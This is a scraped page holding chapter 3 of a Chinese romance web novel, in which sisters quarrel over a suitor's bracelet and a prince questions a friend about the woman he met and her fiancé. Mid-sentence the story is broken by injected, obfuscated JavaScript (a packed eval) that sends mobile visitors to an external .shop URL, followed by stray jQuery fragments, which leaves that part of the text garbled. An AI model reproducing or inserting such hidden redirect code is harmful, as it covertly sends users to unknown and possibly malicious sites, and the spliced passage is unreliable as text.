文趣网 > 其他小说 > 咸鱼社畜古代躺平日常 > 3. 第 3 章
    小花园的一个亭子里,夏清漪到的时候,大姐夏静淑与三姐夏菁英、四姐夏意欢都已经到了,正坐在石凳上品茶。

    早上有点凉意,石凳上铺了绣花坐垫。

    见夏清漪走进来,夏静淑放下杯子,冷哼一声,声音尖锐地呛到,“哟,千请万请,终于把五妹这尊大佛给请来了,可真是不易呢。”

    夏清漪神色平和地走进去,坐下,取来一只茶杯,倒了杯茶,淡淡的茶香扑面而来。

    可惜了这好茶,夏清漪暗中叹惜。

    抬眼看向气得要冒火的夏静淑,“大姐姐开口,妹妹怎么会不来,只是前些日子病重,不想过了病气罢了,这不,今日一叫妹妹不就来了吗。”

    “哼。”闻言,夏静淑翻了个白眼,“伶牙利嘴的,就你会说。”

    “大姐姐,听说孟公子给你送了个镯子。”见夏静淑又要开始找事,夏意欢用团扇遮住半张脸,语气轻快,眼睛弯成月牙,似乎很羡慕的样子。

    夏静淑骄傲地颔首,右手高高抬起,将衣袖往后微扯,露出一只金丝缠绕的玉镯,“没错,孟公子专门在映月楼定制的呢,整整花了半年才做,虽说我不太喜欢,不过也是一番心意,就凑合着戴戴。”

    话音一转,“哎呀,说这个干嘛,不过似乎没听过顾公子送过什么,顾公子出身低微,想必想送也有心无力吧,妹妹可得放宽心吧别伤了和气。”

    说完,呵呵地笑,将手放下,理了理衣袖,手镯看似不经意地露在外面,似乎想到了什么,神色夸张地掩唇,“瞧姐姐的忠告,虽不好听,但俗话说忠言逆耳,妹妹可别放心上呀,你也知道,姐姐都是担心你呢。”

    夏意欢嘴角微抽,这夏静淑真是脑子有疾,大冷天的把姐妹几个凑一起就是为了炫耀那丑得要死的镯子?

    沉默半晌,无人说话,几人脸色各异。

    “昨日灯会玩得如何?”

    夏意欢嘴角勾起,但眼中没有丝毫笑意,不再理会她,岔开话题朝夏清漪问道,“听说顾公子费了许多心思,预订了玉锦楼呢,姐姐可眼红了。”

    夏清漪回了一笑,眉眼微动,柔声道:“还不错,灯会挺热闹的,四姐姐下次不妨也去看看,一直呆在府里闷得慌,不过四姐姐前些日子可不是去了,也没见叫我,我可伤心了。”

    “瞧妹妹说的,倒是姐姐不对,这便以茶代酒罚上一杯。”

    “听妹妹所言,那灯会果真如此有趣?不知是景有趣还是人有趣呢?”夏意欢调侃道。

    “姐姐惯会拿我取笑。”

    见两人旁若无人地聊了起来,夏静淑重重地将杯子摔在桌子上,手腕的镯子因为撞击发出清脆的声响。

    一个两个的,都是贱人,不把我这个大小姐放在眼里!

    气急败坏地站起来,“这花看着就没意思,我们走。”

    说完,便带着婢女怒气冲冲地往外走。

    走出亭子,见三人坐着没有丝毫动静,猛地回头,火气十足地朝一直安静得没有存在感的夏菁音斥道:“你还坐在那里干嘛?”

    夏菁音浑身一抖,缩了缩脖子,迅速站起身,低声告辞后小跑到夏静淑身后。

    亭子一片沉寂,半晌,夏意欢叹了口气,恨铁不成钢,“三姐姐就是性子太软了,才容得夏静淑这般对待她。”

    “真是担不起她那名字,哪有一点娴淑的样子。”

    “她那样子也不是一天两天了,往心里去不得把自己气死。”夏清漪幽幽地说,“再说有我们看着,大姐姐也不敢太过分。”

    每次碰面夏静淑都要刺上几句,杀伤力不大,两人权当笑话看,只要不丢人丢到外面,就随她去了。

    顿了顿,想到夏菁音,也不禁脑子生疼,“都说多少次了,三姐姐还是那样子任她欺负,她不改,我们再怎么做都帮不了她,也不知她这性子怎生成这样的。”

    夏意欢重重叹口气,趴在桌子上,“不说她了,气得胸口疼。”

    两人又说了会话,午间在亭子里用了饭才回去。

    昭王府中。

    华元思一早便来拜访。

    昨天刚刚回京,华元思便直接回了华家,拜见许久未见的祖母与母亲。

    华元思自幼一身反骨,待及冠后,不顾父亲的劝阻,毅然离开了华府。

    华父为此大怒,扬言道没他这个儿子,果真就此华元思就再也没回去过了。

    因华元思并没有掩藏自己的踪迹,几年过去后,华父也曾低头,来信劝他回头,但华元思不为所动,此次回京,也未前去拜见。

    用他的话说,别见到后气昏过去,便不上赶着找晦气了。

    郭守不解,父子间哪有隔夜仇的?

    华元思但笑不语,一脸高深莫测。

    昨日在华府吃完饭,他便离开找郭守喝酒去了。

    酒过三巡,郭守便大大咧咧地吐槽江临风一到京城就不知咋了,吃了炮仗一样,就和以前兄弟们受到埋伏差点全军覆没的时候脸色真是一模一样。

    那一战过于惨烈,如今说起来都有点心颤。

    郭守酒意稍散,仿佛被千斤巨石压着,喘不过气来。

    “来,继续,喝!”

    郭守猛地一拍桌子,声如洪钟,惊得周围的人都看了过去,见是一个五大三粗身着军装的男人,又悻悻地回头,不敢怨言。

    喝到了凌晨,街上没了人,在摊主欲言又止,几番想要上前但未果后,终于结束摇摇晃晃地回了客栈。

    因对郭守所说的事情十分好奇,于是就出现了眼前这一幕。

    江临风与华元思一早就在布置得格外精美的会客厅中坐着干瞪眼,许久未说一句话。

    华元思脸上挂着一抹未曾褪下的浅笑,若有所思地盯着对面格外阴沉淡漠的好友。

    用扇子拍了拍手掌,“昭王不好奇我为何而来?”

    话语间,目光流转,似乎在调笑。

    江临风并未理会他的调侃,状似沉稳地又倒了一杯茶继续品。

    华元思挑眉,心道果真有什么情况。

    心念一动,嘴角的笑意更盛,“你的心动了。”

    江临风心中一凛,品茶的动作顿住,终于抬起眼看向似乎在看笑话的华元思,“我昨日见了一个人。”

    “见了一个人?”华元思重复了一句,没说名字,想必是因为我未曾见过,难道京中还有我不知道的?

    “嗯。”见他陷入沉思,料想到他是想偏了,但也未纠正,眼中划过一丝笑意。

    将京中大大小小的权贵官员都过了一遍,对能让江临风如此头疼的人还真没有头绪。

    半晌,放弃似的朝又喝了几杯的江临风抱怨道:“别吊我胃口了,是谁?”

    说完,将壶中仅剩的一茶倒入自己杯中,将茶壶放到离江临风最远的地方。

    江临风嘴唇微勾,“我也不知,昨日在玉锦楼中遇到的一位小姐。”顿了顿,语气冷了下来,“与一个男人一同。”

    说话间,握着空杯子的手劲大得似乎要

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17659963|207151||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    把杯子捏碎。

    华元思狐狸眼微眯,不一会,轻笑出声,“那应该是夏家小姐,行五,名唤夏清漪,她可是京中芳名远播的大美人呢,与她一同的应是顾云景。”

    恰好昨日在华家听了一嘴,喝了口茶,润润嗓子继续道,“夏家小姐倒未听说什么,不过那顾云景看起来可不是什么好夫婿,倒是可惜了这美人。”

    华元思感叹,好奇地看向黑着脸的江临风,“那夏家小姐得罪你了?”

    “未曾。”江临风艰难地挤出两字,眉头拧出川字,一脸不悦。

    华元思看着他脸色更加好奇,抬眼细细打量他,似乎想要将他看穿。

    脑中想法不断,半晌,嘴角的弧度落下,迟疑地盯着他问道:“该不会...”

    “你看上人家了?”

    华元思震惊得仿佛置身梦境。

    江临风瞳孔微震,我看上她了?怎么可能!

    不过为何一直会回想起她,是不是她使了什么手段?

    眼见他的脸色越发暗沉,华元思干巴巴道:“该不会你不知道?”

    “哼,只是有时会想起她罢了,哪是看上。”江临风盯着眼前的杯口,重重地说。

    华元思闻言,吐了口气,眼底情绪十分复杂,欲言又止地看着江临风叹气。

    江临风见他神色怪异,黑着脸给了他一个眼神,起身欲往外走去。

    “欸,别走呀!”华元思连忙站起来,拿起桌上的扇子就跟了上去。

    “你不想知道顾云景的事?”

    闻言,江临风脚步立马顿住,侧头,瞥了一眼如沐春风的华元思。

    “跟上。”

    本打算照常去演武场的江临风脚步微转,两人便去了书房。

    刚坐下,华元思就立马识相地开门见山说道:“顾云景,西南一小官之子,去岁赴京赶考,学识不错,名列二甲。”

    “呵,区区二甲。”江临风不屑。

    “是是是,哪比得上昭王殿下。”华元思眯眼笑道,眼中满是打趣,“之后不久便意外帮了夏大人一个小忙,一来二往便余夏府走得近了些。”

    华元思娓娓道来,两人相熟之后不久,恰逢夏夫人为夏清漪的婚事发愁,夏大人便顺势做主为其与五女定下婚约。

    两人郎才女貌,按理说也是一段好姻缘。

    听到这,江临风周身寒风四起,恍若深冬。

    华元思视而不见,若无其事地继续往下说。

    那顾云景年幼丧母,父亲不久后取了续弦,日子倒还过得去。

    顾父有个妹妹,成亲后不久便小产去了,留下一女儿,顾父见其孤苦,便抱来顾府养着,因自小一同长大,所以与顾云景情感深厚。

    此次赴京,那表小姐孟娴也跟了来,对外声称是家里带来的丫鬟。

    “那小姐与顾云景关系可非比寻常,传言顾大人曾打算将她许配给顾云景,不过去年科考便搁置下来了。”

    说了许久,嗓子有点干,华元思给自己倒了杯水,顾不上一旁面无表情的江临风。

    “我知道就这么多了。”华元思饶有兴致,不知昭王殿下会如何做呢?

    “查。”江临风右手轻敲桌面。

    “还有呢?”华元思挑眉。

    江临风瞳色暗沉,目光轻微扫过,却仿佛被利刃穿透一般,华元思正了正脸色,打了个哈哈,“明白明白,我传个消息给昭王心心念念的夏小姐。”

    说完,脚步轻快地哼着小调离开了。